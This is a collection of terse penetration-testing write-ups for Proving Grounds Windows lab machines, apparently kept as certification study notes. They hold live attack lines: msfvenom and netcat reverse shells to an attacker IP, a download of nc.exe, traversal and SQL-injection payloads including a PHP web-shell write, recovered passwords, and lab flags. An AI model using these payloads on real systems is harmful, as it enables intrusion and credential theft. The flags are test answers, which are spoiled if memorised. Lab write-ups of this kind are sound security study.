Windows Pentest Lab Writeups

AuthBy

Proving Grounds · Windows · 2025-08-01

Network Scan

PORT     STATE SERVICE       REASON          VERSION
21/tcp   open  ftp           syn-ack ttl 125 zFTPServer 6.0 build 2011-10-17
242/tcp  open  http          syn-ack ttl 125 Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
3145/tcp open  zftp-admin    syn-ack ttl 125 zFTPServer admin
3389/tcp open  ms-wbt-server syn-ack ttl 125 Microsoft Terminal Service
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

FTP — anonymous login allowed
- version — zFTPServer v6.0, build 2011-10-17 15:25 ready.
Port 242 requires HTTP authentication
Possible usernames, from the FTP directory listing:

dr-xr-xr-x   1 root     root          512 Jan 25 05:01 backup
----------   1 root     root          764 Jan 25 05:01 acc[Offsec].uac
----------   1 root     root         1034 Mar 23 06:28 acc[anonymous].uac
----------   1 root     root          926 Jan 25 05:01 acc[admin].uac

FTP credentials admin:admin work. Pulled:
- .htaccess
- .htpasswd → offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0
  - Cracked with hashcat -m 1600 -a 0 hashes.txt wordlist.txt → password elite
- index.php
admin:admin has upload permissions (can upload a reverse shell / PHP shell)

Exploitation

Used the file upload permission over FTP to drop a web shell — RCE as the Apache user
Dropped an msfvenom reverse shell:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.191 LPORT=80 -f exe > shell.exe

Enumeration (post-shell)

whoami /priv

Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Probably could use SeImpersonatePrivilege.
Recovered a password hash (possibly “admin”):

C:\Program Files>type zFTPServer\accounts\acc[admin].uac
Username=admin
Password.e1=Vig/59aTy4Z/mp9eRI/UrA9GPDovcPfS8BoFGkMNlMte9kBfdIqF9PlvFwsZEDWwvGQX8E8pWkFE/1hdkzXr4jWNxIg4SzMqEauv+4rfT7xoFafTZx+oAJCflio2K1P+ITp1XRQ281k=
Realname=admin
{Creation Date: 2011-11-08 04:04:32
/|C:\wamp\www|,RF,WF,LD,RR
{Logins: 33
{Last Login: 2026-03-23 03:37:58
{Last Known IP: 192.168.45.191
{Files Uploaded: 18
{Bytes Uploaded: 378764
{Uploads Failed: 8
{Files Downloaded: 6
{Bytes Downloaded: 402
{Downloads Failed: 0

Ran Windows Exploit Suggester: pip install wesng

Exploitation (privesc)

GodPotato didn’t work — legacy system, Microsoft Windows Server 2008 Standard.
JuicyPotato worked:

.\JuicyPotato_x32.exe -t * -p c:\windows\system32\cmd.exe -a "/c C:\wamp\www\nc.exe 192.168.45.191 1337 -e cmd.exe" -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"

Used https://ohpe.it/juicy-potato/CLSID/ to find a SYSTEM-privileged CLSID (alternative: reg query HKCR\CLSID /s /f LocalService).

Billyboss

Proving Grounds · Windows · 2025-08-03

Network Scan

OS: Microsoft Windows 10 Pro
Version: 10.0.18362 N/A Build 18362
Arch: x64-based PC
IP: 192.168.198.61

PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 125 Microsoft ftpd
80/tcp    open  http          syn-ack ttl 125 Microsoft IIS httpd 10.0
135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 125
5040/tcp  open  unknown       syn-ack ttl 125
8081/tcp  open  http          syn-ack ttl 125 Jetty 9.4.18.v20190429

Enumeration

Possible machine/user name: Billy, Billyboss

21

Anonymous? Let’s look at that later.
534 Policy requires SSL.

80 / IIS httpd 10.0

No clear exploits for IIS 10.0
Something related to nuget is running
dirbuster? No leads
robots.txt? Not found
Source code analysis?

8081 / Nexus/3.21.0-05

Maybe possible authenticated RCE — /usr/share/exploitdb/exploits/java/webapps/49385.py
~~Need creds~~ Found creds
dirbuster? No leads
robots.txt? /repository/, /service/
/service/rapture/session bruteforce creds? Tricky, this shouldn’t be intended
Source code analysis?
Default creds? nexus:nexus => works!!!
Jetty 9.4.18.v20190429 vulnerable? CVE-2020-27216

139/445

Null session? Nope. Need creds
Bruteforce? Negative

135

5040 → unknown

Foothold

Used exploit 49385.py with default credentials
Reverse shell command:

cmd.exe /c nc.exe 192.168.45.191 80 -e cmd

Privilege Escalation

whoami /priv? SeImpersonatePrivilege — Enabled
Used GodPotato → got SYSTEM

Craft

Proving Grounds · Windows · 2025-08-04

Network Scan

Version:
Arch:
IP: 192.168.62.169

PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7

Enumeration

80

Server? Apache httpd 2.4.48, PHP/8.0.7, OpenSSL/1.1.1
Title? Craft
robots.txt?
dirbuster?
Source code analysis?
- Found endpoint /upload.php => requires an ODT file
Bypass? Testing RCE via ODT macro… Yep, RCE works
Info found on the site:
- admin@craft.offsec
- +1 (555) 902-8832
- 4923 Market Street, Orlando FL

Foothold

Reverse shell via .odt macro uploaded to the /upload.php endpoint

Privilege Escalation

whoami?
- Console Logon
- High Mandatory Level Label
Odd services/apps:
- ResumeService1 — running as a low-privileged user
- xampp/8.0.7
Files to look at:
- Users\thecybergeek\Documents\user
xampp/htdocs is writable
Dropped a reverse shell and logged in as the Apache user
Apache user has SeImpersonate privileges
GodPotato → SYSTEM

Dvr4

Proving Grounds · Windows · 2025-08-06

Network Scan

PORT      STATE    SERVICE       REASON          VERSION
22/tcp    open     ssh           syn-ack ttl 125 Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0; non-commercial use)
135/tcp   open     msrpc         syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open     netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds? syn-ack ttl 125
5040/tcp  open     unknown       syn-ack ttl 125
5918/tcp  filtered unknown       no-response
6733/tcp  filtered unknown       no-response
7680/tcp  open     pando-pub?    syn-ack ttl 125
8080/tcp  open     http-proxy    syn-ack ttl 125
10273/tcp filtered unknown       no-response
15408/tcp filtered unknown       no-response
19498/tcp filtered unknown       no-response
23065/tcp filtered unknown       no-response
35394/tcp filtered unknown       no-response
36267/tcp filtered unknown       no-response
44417/tcp filtered unknown       no-response
49664/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC
49665/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC
49666/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC
49667/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC
49668/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC
49669/tcp open     msrpc         syn-ack ttl 125 Microsoft Windows RPC
63478/tcp filtered unknown       no-response

Enumeration

Enumerating port 8080: Argus Surveillance DVR, version 4.0, released 18/12/2008

searchsploit Argus

Argus Surveillance DVR 4.0 - Unquoted Service Path                        | windows/local/50261.txt
Argus Surveillance DVR 4.0 - Weak Password Encryption                     | windows/local/50130.py
Argus Surveillance DVR 4.0.0.0 - Directory Traversal                      | windows_x86/webapps/45296.txt
Argus Surveillance DVR 4.0.0.0 - Privilege Escalation                     | windows_x86/local/45312.c

SMB: no null session, requires authentication

Possible direction — port 8080

Looking further into the searchsploit output:

curl "http://$ip:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]

Yup, vulnerable to directory traversal.

Read user ‘viewer’ SSH key
Exploited the weak password hash:
- C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini
- Vulnerability: exploit-db.com/exploits/50130
Admin password from the cracked hash
Used psexec to log in as Administrator

Fish

Proving Grounds · Windows · 2025-08-07

Network Scan

PORT      STATE SERVICE              REASON          VERSION
135/tcp   open  msrpc                syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn          syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?        syn-ack ttl 125
3389/tcp  open  ms-wbt-server        syn-ack ttl 125 Microsoft Terminal Services
3700/tcp  open  giop                 syn-ack ttl 125
4848/tcp  open  http                 syn-ack ttl 125 Sun GlassFish Open Source Edition 4.1
5040/tcp  open  unknown              syn-ack ttl 125
6060/tcp  open  x11?                 syn-ack ttl 125
7676/tcp  open  java-message-service syn-ack ttl 125 Java Message Service 301
7680/tcp  open  pando-pub?           syn-ack ttl 125
8080/tcp  open  http                 syn-ack ttl 125 Sun GlassFish Open Source Edition 4.1
8181/tcp  open  ssl/http             syn-ack ttl 125 Sun GlassFish Open Source Edition 4.1
8686/tcp  open  java-rmi             syn-ack ttl 125 Java RMI
49664/tcp open  msrpc                syn-ack ttl 125 Microsoft Windows RPC
49665/tcp open  msrpc                syn-ack ttl 125 Microsoft Windows RPC
49666/tcp open  msrpc                syn-ack ttl 125 Microsoft Windows RPC
49667/tcp open  msrpc                syn-ack ttl 125 Microsoft Windows RPC
49668/tcp open  msrpc                syn-ack ttl 125 Microsoft Windows RPC
49669/tcp open  msrpc                syn-ack ttl 125 Microsoft Windows RPC

Enumerating Port 4848

Running a GlassFish server:

HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1 Java/AdoptOpenJDK/1.8)
Set-Cookie: JSESSIONID=bff2112271faede2f8c17bb93b8e; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Date: Fri, 29 Oct 2021 12:21:07 GMT
Content-Length: 4871

Version 4.1
Confirmed path traversal — payload:

/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/System32/drivers/etc/hosts

Interesting Files

Users/arthur/Desktop/local.txt — content: 1ea289c13dea7744ea938584381b9e7c
Users/arthur/Documents/TotalAV/PasswordVault — content: 42590410
Users/Administrator/Desktop/proof.txt — content: 9efd2cbdb2991944c9e6b973fa00920f
SynaMan/accessDb/SynaManDB/db.lck — content: $a816c00e-0195-c7fb-cb8f-ffffdcefc782
SynaMan/config/AppConfig.xml:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
	<parameters>
		<parameter name="adminEmail" type="1" value="admin@fish.pg"></parameter>
		<parameter name="smtpSecurity" type="1" value="None"></parameter>
		<parameter name="jvmPath" type="1" value="jre/bin/java"></parameter>
		<parameter name="userHomeRoot" type="1" value="C:\ProgramData\SynaManHome"></parameter>
		<parameter name="httpPortSSL" type="2" value="-1"></parameter>
		<parameter name="httpPort" type="2" value="0"></parameter>
		<parameter name="vmParams" type="1" value="-Xmx128m -DLoggingConfigFile=logconfig.xml"></parameter>
		<parameter name="synametricsUrl" type="1" value="http://synametrics.com/SynametricsWebApp/"></parameter>
		<parameter name="lastSelectedTab" type="1" value="1"></parameter>
		<parameter name="emailServerWebServicePort" type="2" value=""></parameter>
		<parameter name="imagePath" type="1" value="images/"></parameter>
		<parameter name="defaultOperation" type="1" value="frontPage"></parameter>
		<parameter name="publicIPForUrl" type="1" value=""></parameter>
		<parameter name="flags" type="2" value="2"></parameter>
		<parameter name="httpPort2" type="2" value="6060"></parameter>
		<parameter name="useUPnP" type="4" value="true"></parameter>
		<parameter name="smtpServer" type="1" value="mail.fish.pg"></parameter>
		<parameter name="smtpUser" type="1" value="arthur"></parameter>
		<parameter name="InitialSetupComplete" type="4" value="true"></parameter>
		<parameter name="disableCsrfPrevention" type="4" value="true"></parameter>
		<parameter name="failureOverHttpPort" type="2" value="55222"></parameter>
		<parameter name="smtpPort" type="2" value="25"></parameter>
		<parameter name="httpIP" type="1" value=""></parameter>
		<parameter name="emailServerWebServiceHost" type="1" value=""></parameter>
		<parameter name="smtpPassword" type="1" value="KingOfAtlantis"></parameter>
		<parameter name="ntServiceCommand" type="1" value="net start SynaMan"></parameter>
		<parameter name="mimicHtmlFiles" type="4" value="false"></parameter>
	</parameters>
</Configuration>

SMTP username:password — arthur:KingOfAtlantis

RDP

Same as the SMTP credentials.

Privilege Escalation

Enumeration

whoami — clean, no leads
PowerShell history — clean
Update history:

HotfixID  Description     InstalledBy         InstalledOn
KB5009467 Update          NT AUTHORITY\SYSTEM 4/11/2022 12:00:00 AM
KB5006670 Security Update NT AUTHORITY\SYSTEM 10/19/2021 12:00:00 AM
KB5005699 Security Update NT AUTHORITY\SYSTEM 10/19/2021 12:00:00 AM
KB4580325 Security Update NT AUTHORITY\SYSTEM 6/21/2021 12:00:00 AM
KB4562830 Update          NT AUTHORITY\SYSTEM 6/18/2021 12:00:00 AM

FISHYYY\arthur has ownership of C:\Users\arthur\AppData\Local\Microsoft\OneDrive\OneDrive.exe
Identity FISHYYY\arthur has 'FullControl' perms for C:\Users\arthur\AppData\Local\Microsoft\OneDrive\OneDrive.exe
Identity BUILTIN\Users has 'FullControl' perms for C:\Program Files (x86)\TotalAV\TotalAV.exe

WdNisSvc found with permissions issue:
Identity BUILTIN\Users has 'Write' perms for C:\ProgramData
SecurityService found with permissions issue:
Identity BUILTIN\Users has 'FullControl' perms for C:\Program Files (x86)\TotalAV\SecurityService.exe
WinDefend found with permissions issue:
Identity BUILTIN\Users has 'Write' perms for C:\ProgramData

Computername    : FISHYYY
Software        : TotalAV
Version         : 4.14.31
Publisher       : TotalAV
InstallDate     :
UninstallString : C:\Program Files (x86)\TotalAV\uninst.exe
Architecture    : x86
Path            : HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\TotalAV

Findings

searchsploit TotalAV → TotalAV 2020 4.14.31 - Privilege Escalation | windows/local/47897.txt
TotalAV 2020 4.14.31 has a quarantine flaw allowing privilege escalation via an NTFS directory junction.

Exploitation

///////////////////////////////////
  Proof of Concept
//////////////////////////////////
1. Plant the malicious file — in this case a DLL file
2. To exploit the vulnerability the antivirus must detect the malicious DLL
3. Move it to quarantine.
4. Attacker must create an NTFS directory junction to restore it.

DLL creation: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.191 LPORT=1234 -f dll > version.dll
Used .\CreateMountPoint.exe to create a symbolic link to a privileged location: C:\windows\Microsoft.NET\framework\v4..
Restore the quarantined DLL
Restart the system

Method 2

GlassFish server runs as root
No authentication required when the admin page is accessed from localhost (inside RDP)
Deployed a WAR reverse shell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.45.191 LPORT=1234 -f war > shell.war

Hepet

Proving Grounds · Windows · 2025-08-09

Network Scan

Version: Windows 10
Arch:
IP:

ports (no-response)
PORT      STATE SERVICE        REASON          VERSION
25/tcp    open  smtp           syn-ack ttl 125 Mercury/32 smtpd (Mail server account Maiser)
79/tcp    open  finger         syn-ack ttl 125 Mercury/32 fingerd
  | finger: Login: Admin         Name: Mail System Administrator
105/tcp   open  ph-addressbook syn-ack ttl 125 Mercury/32 PH addressbook server
106/tcp   open  pop3pw         syn-ack ttl 125 Mercury/32 poppass service
110/tcp   open  pop3           syn-ack ttl 125 Mercury/32 pop3d
135/tcp   open  msrpc          syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn    syn-ack ttl 125 Microsoft Windows netbios-ssn
143/tcp   open  imap           syn-ack ttl 125 Mercury/32 imapd 4.62
443/tcp   open  ssl/http       syn-ack ttl 125 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g
445/tcp   open  microsoft-ds?  syn-ack ttl 125
2224/tcp  open  http           syn-ack ttl 125 Mercury/32 httpd
  |_http-title: Mercury HTTP Services
5040/tcp  open  unknown        syn-ack ttl 125
7680/tcp  open  pando-pub?     syn-ack ttl 125
8000/tcp  open  http           syn-ack ttl 125 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
  |_http-title: Time Travel Company Page
11100/tcp open  vnc            syn-ack ttl 125 VNC (protocol 3.8)
20001/tcp open  ftp            syn-ack ttl 125 FileZilla ftpd 0.9.41 beta
33006/tcp open  mysql          syn-ack ttl 125 MariaDB 10.3.24 or later (unauthorized)

Enumeration

20001 / ftp

Anonymous login? Yesss
Dumped a Node application from FTP

8000 / http

Title => Time Travel Company Page
Contains a possible username (try username_anarchy)
ffuf? No interesting directories
Source code analysis? No interesting things

443 / http

Same as port 8000

2224 / http

Mercury/32 (vulnerable to multiple exploits)
ffuf? Negative
Endpoints? /mlss/forgotpassword, /mail

445/139

No null session
Bruteforce? Need creds

110 / pop3 — cannot bruteforce, rate-limited (blacklisted) 106 / pop3pw 105 143 / imap

cewl wordlist → jonas:SicMundusCreatusEst

79 — confirmed found mailbox names

25

Using users from the port 8000 index page:

smtp-user-enum -M VRFY -U users.txt -t $ip
168.178.140: admin exists
168.178.140: charlotte exists
168.178.140: magnus exists
168.178.140: agnes exists
168.178.140: jonas exists
168.178.140: martha exists

11100

VNC/3.8 — arz101.medium.com/hackmyvm-level-b253493dff1c
Tried vncviewer? No matching security type

Foothold

Spreadsheet macro sent to the SMTP server
github.com/0bfxgh0st/MMG-LO

Privilege Escalation

Program Files:

d-----         12/1/2021   3:10 PM                ruxim
d-----         12/1/2021   5:58 PM                UNP

Unquoted service path
Autostart — runs as SYSTEM
Got shell, yay

Jacko

Proving Grounds · Windows · 2025-08-10

Network Scan

Version: Windows 10 10.0.18363
Arch: x64-based
IP:

PORT      STATE SERVICE       REASON          VERSION
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: H2 Database Engine (redirect)
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
5040/tcp  open  unknown       syn-ack ttl 127
7680/tcp  open  pando-pub?    syn-ack ttl 127
8082/tcp  open  http          syn-ack ttl 127 H2 database http console
9092/tcp  open  XmlIpcRegSvc? syn-ack ttl 127

Enumeration

Possible username: Jacko

139/445 — no null session, need creds

80

H2 Database Engine/1.4.199 => vulnerable? java/local/49384.txt
DirBuster? Just a bunch of docs

8082

H2 console / access SQL in browser
~~Requires credentials~~ only for admin
Logged in as SA
Admin creds bruteforce?
Default creds? Yep
Unauthenticated RCE => java/local/49384.txt

9092 — “Remote connections to this server are not allowed”

7680/5040 — connection refused

135

Foothold

Used the unauthenticated RCE to get a reverse shell

Privilege Escalation

whoami /priv? SeImpersonatePrivilege enabled
Pulled GodPotato and finished

Medjed

Proving Grounds · Windows · 2025-08-12

Network Scan

Version:
Arch:
IP: 192.168.181.127

PORT      STATE SERVICE       REASON          VERSION
135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 125
3306/tcp  open  mysql         syn-ack ttl 125 MariaDB 10.3.24 or later (unauthorized)
5040/tcp  open  unknown       syn-ack ttl 125
7680/tcp  open  pando-pub?    syn-ack ttl 125
8000/tcp  open  http-alt      syn-ack ttl 125 BarracudaServer.com (Windows)
30021/tcp open  ftp           syn-ack ttl 125 FileZilla ftpd 0.9.41 beta
33033/tcp open  unknown       syn-ack ttl 125
44330/tcp open  ssl/unknown   syn-ack ttl 125
45443/tcp open  http          syn-ack ttl 125 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)

Enumeration

139/445

Null session? Nope
Brute force?

8000 / BarracudaServer.com/6.5

Can log into the admin panel
Vulnerable version: exploit-db.com/exploits/48789
Interesting endpoint: http://192.168.181.127:8000/rtl/protected/admin/appmgr/newapp.lsp

45443 / Random game

Ffuf?
robots.txt?

30021 / ftp

Anonymous login? Yes
Dumped a Ruby application
Any sensitive info?

3306 — looks like it can’t be connected to

33033 / http

Title: UserproMedjed
User details at http://192.168.181.127:33033/ (can try cewl and login)
Rails.root: C:/Sites/userpro
cewl to find usernames? Negative
username_anarchy? Negative
ffuf? Negative
/slug — SQL endpoint, SQL injection:

'+AND+(updatexml(1,concat(0x7e,(SELECT+username+FROM+users+LIMIT+1+OFFSET+1)),1))--+-+
+AND+(updatexml(1,concat(0x7e,(SELECT+column_name+FROM+information_schema.columns+where+table_name='users'+LIMIT+1+OFFSET+8)),1))--+-+
' AND (updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())),1))-- -
' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php' -- -'

joe.webb:malgod
railsdev

44330

Foothold

Used the SQL injection to write a PHP reverse shell to C:\xampp\htdocs — MySQL’s secure_file_priv was not null and empty, giving arbitrary write permission.

Privilege Escalation

Used the BarracudaServer 6.5 PoC to escalate privileges.

Mice

Proving Grounds · Windows · 2025-08-14

Network Scan

PORT     STATE SERVICE        REASON          VERSION
1978/tcp open  remotemouse    syn-ack ttl 125 Emote Remote Mouse
1979/tcp open  unisql-java?   syn-ack ttl 125
1980/tcp open  pearldoc-xact? syn-ack ttl 125
3389/tcp open  ms-wbt-server  syn-ack ttl 125 Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

Remote Mouse — vulnerable to unauthenticated RCE.

Exploitation

Exploit code: github.com/p0dalirius/RemoteMouse-3.008-Exploit
Dropped nc.exe:

python remote.py -v -t 192.168.150.199 --cmd "powershell -c \"wget http://192.168.45.191/nc.exe -o C:/Windows/Temp/nc.exe \""

Ran an nc reverse shell:

python remote.py -v -t 192.168.150.199 --cmd "powershell -c \"C:\Windows\Temp\nc.exe 192.168.45.191 80 -e cmd.exe\""

Things to learn: find why ports other than 80/443 are blocked on the target machine.

Privilege Escalation

Enumeration

whoami — clean, no leads
PowerShell history — clean
Possible exploits (github.com/codingo/OSCP-2):

HotfixID  Description     InstalledBy             InstalledOn
KB5007186 Security Update NT AUTHORITY\SYSTEM      12/7/2021 12:00:00 AM
KB5006753 Update          NT AUTHORITY\SYSTEM      12/7/2021 12:00:00 AM
KB5007289 Update          REMOTE-PC\Administrator  12/7/2021 12:00:00 AM
KB5005699 Security Update NT AUTHORITY\SYSTEM      10/19/2021 12:00:00 AM
KB4580325 Security Update NT AUTHORITY\SYSTEM      6/21/2021 12:00:00 AM
KB4562830 Update          NT AUTHORITY\SYSTEM      6/18/2021 12:00:00 AM

Host Name:                 REMOTE-PC
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          admin
Product ID:                00331-10000-00001-AA706
Original Install Date:     6/18/2021, 4:06:17 AM
System Boot Time:          12/4/2025, 1:49:09 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):               1 Processor(s) Installed. AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2650 Mhz
BIOS Version:               VMware, Inc. VMW71.00V.24265429.B64.2409051419, 9/5/2024
Windows Directory:          C:\WINDOWS
System Directory:           C:\WINDOWS\system32
Boot Device:                \Device\HarddiskVolume2
Domain:                     WORKGROUP
Logon Server:                \\REMOTE-PC
Hotfix(s):                  6 Hotfix(s) Installed: KB5007289, KB4562830, KB4580325, KB5007186, KB5006753, KB5005699
Network Card(s):             1 NIC(s) Installed — vmxnet3 Ethernet Adapter, IP 192.168.150.199

Checking for vulnerable service .exe

WdNisSvc found with permissions issue:
Identity BUILTIN\Users has 'Write' perms for C:\ProgramData

WinDefend found with permissions issue:
Identity BUILTIN\Users has 'Write' perms for C:\ProgramData

=========|| Checking for Unquoted Service Paths
Unquoted Service Path found!
Name: RemoteMouseService
PathName: C:\Program Files (x86)\Remote Mouse\RemoteMouseService.exe
StartName: LocalSystem
StartMode: Auto
Running: Running

Computername    : REMOTE-PC
Software        : FileZilla Client 3.54.1
Version         : 3.54.1
Publisher       : Tim Kosse
UninstallString : "C:\Program Files\FileZilla FTP Client\uninstall.exe"
Architecture    : x64
Path            : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FileZilla Client

Interesting Files

AppData\Roaming\FileZilla\recentservers.xml:

<?xml version="1.0" encoding="UTF-8"?>
<FileZilla3 version="3.54.1" platform="windows">
  <RecentServers>
    <Server>
      <Host>ftp.pg</Host>
      <Port>21</Port>
      <Protocol>0</Protocol>
      <Type>0</Type>
      <User>divine</User>
      <Pass encoding="base64">Q29udHJvbEZyZWFrMTE=</Pass>
      <Logontype>1</Logontype>
      <PasvMode>MODE_DEFAULT</PasvMode>
      <EncodingType>Auto</EncodingType>
      <BypassProxy>0</BypassProxy>
    </Server>
  </RecentServers>
</FileZilla3>

➜ echo "Q29udHJvbEZyZWFrMTE=" | base64 -d
ControlFreak11

RDP Connection

Credentials: divine:ControlFreak11

Escalation

Remote Mouse hui 3.0008 is vulnerable to local privesc.
Reproducing the PoC succeeds: exploit-db.com/exploits/50047

Nickel

Proving Grounds · Windows · 2025-08-15

Network Scan

OS:   Microsoft Windows 10
Machine Name: NICKEL
IP: 192.168.185.99
Arch: AMD64

PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 125 FileZilla ftpd 0.9.60 beta
22/tcp    open  ssh           syn-ack ttl 125 OpenSSH for_Windows_8.1 (protocol 2.0)
139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 125
3389/tcp  open  ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services
5040/tcp  open  unknown       syn-ack ttl 125
7680/tcp  open  pando-pub?    syn-ack ttl 125
8089/tcp  open  http          syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
33333/tcp open  http          syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Enumeration

Possible username: Nickel

21 / FileZilla ftpd 0.9.60 beta

Anonymous login? Negative
~~Need creds~~ Found creds (SSH creds)
Outdated version?
Bruteforce creds? Nope
Found Infrastructure.pdf file (password protected)

8089

DevOps Dashboard
Pages not loading (redirecting to a different IP)
Dirbuster? Negative with raft-medium-directories.txt
Source code?
robots.txt? Nope
Server version? Maybe misconfig? HTTPAPI httpd 2.0 (SSDP/UPnP)

33333

Requires a token (idk what that is)
Dirbuster? Negative
robots.txt? Nope
Possible exploit? infosecwriteups.com/vapt-report-on-httpapi-services-in-windows-10-healthcare-endpoint
Found endpoint => POST /list-running-procs
Creds exposed: cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml --user ariah -p "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" --server nickel-dev --protocol ssh
SSH credentials: ariah:NowiseSloopTheory139

139/445 — null session? Nope, need creds, bruteforce? Nope

22 — bruteforce creds? Nope

3389 — bruteforce creds? Nope

Foothold

SSH into the machine with the exposed credentials

Privilege Escalation

whoami? Normal
Files to look at:

Users\ariah\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Users\ariah\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Trying password cracking on Infrastructure.pdf… Password: ariah4168
- Temporary command endpoint: http://nickel/?
- Backup system: http://nickel-backup/backup
- NAS: http://corp-nas/files
The command endpoint works on localhost:

(curl http://127.0.0.1/?whoami -UseBasicParsing).Content

Runs as SYSTEM

Shenzi

Proving Grounds · Windows · 2025-08-17

Network Scan

PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 125 FileZilla ftpd 0.9.41 beta
80/tcp    open  http          syn-ack ttl 125 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      syn-ack ttl 125 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
445/tcp   open  microsoft-ds? syn-ack ttl 125
3306/tcp  open  mysql         syn-ack ttl 125 MariaDB 10.3.24 or later (unauthorized)
5040/tcp  open  unknown       syn-ack ttl 125
7680/tcp  open  pando-pub?    syn-ack ttl 125
49664-49669/tcp open msrpc    syn-ack ttl 125 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

XAMPP is running
Version enum: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
